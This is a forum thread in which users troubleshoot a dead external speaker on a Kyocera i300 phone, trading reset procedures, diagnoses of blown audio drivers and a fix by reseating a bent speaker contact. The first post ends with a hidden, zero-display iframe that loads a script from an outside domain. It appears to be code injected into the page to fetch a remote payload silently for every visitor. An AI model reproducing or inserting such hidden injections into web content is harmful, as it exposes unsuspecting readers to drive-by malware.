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    Red face Speaker Dead

    While on vacation (naturally!), my i-300 developed repeated "fatal exceptions". Numerous soft resets did no good, so in frustration I disconnected the battery and let the phone sit for 24 hours or so. When I replaced the battery, although I had lost all my data, the phone was once again operational, but with one exception...the external speaker seems to be dead. Works fine with a headset. I have tried adjusting volume settings and unmuting, to no avail. Any ideas on what might have caused this and how I can fix it?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    i am a sprint pcs tech and i can help you with your problem...first back up all of yuor data...do it again. then one more time.

    now i want you to press the reset button on the back of the unit and press it for 10 seconds with the battery on. (you will need a paper clipor the end of the stylus when its unscrewed) pres and hold the top button on the right hand side (actual power button) now release the reset button and still hold the power button. wait 3 sec. when screen says erase all data do not answer....remove battery at once. leave off for 24 hrs.

    return...replace battery. press up to erase all data...let it reset...do hotsync and then test the speaker.. check volume...if its still out answer back and will try the next test.
    my i500 is more obsolete than your ti-99 or apple IIe

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    Thanks...I'll let you know tomorrow how this works. Appreciate your help!

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    Nope...

    Well, step one did not work, unfortunately. Any other ideas? I really appreciate it...

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    does the earpiece still work, just not the speakerphone? or is it both?

    if its just the speakerphone, the fatal error you experience was something audio related, maybe some hack?. some sort of switch has been reconfigured and will need to be reset. if its both, the audio driver has burned out and this unit is no longer any good except for a pda w/o alarms etc.
    my i500 is more obsolete than your ti-99 or apple IIe

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    The earphone jack is still functioning. It's just the speaker.

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    My speaker is working badly. I can still hear in a quiet room but I'm 99% certian it's just a loose connection, because it's very 'scratchy' sounding at time as well.

    Will be fixing the problem myself in the next day or two.


    DLD

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    both of you have bad audio drivers, its not the speaker itself. the finals in the output are blown and can only provide so much power to the speaker(piezo) this is why you get no output or broken/scratchy output...


    make a suggestion? i have some i300's for sale or start shopping for a new unit.
    my i500 is more obsolete than your ti-99 or apple IIe

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    fixed my problem today.

    one of the mating contacts on the speaker, where it matches to the PCB, was slightly bent away from the contact pad. put it back where it should be, problem gone.


    dld

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    that is a lot of work but glad you were sucessful.....sounds like your problem was intermittent, if it was constant it would really have been a hassle to fix....
    my i500 is more obsolete than your ti-99 or apple IIe

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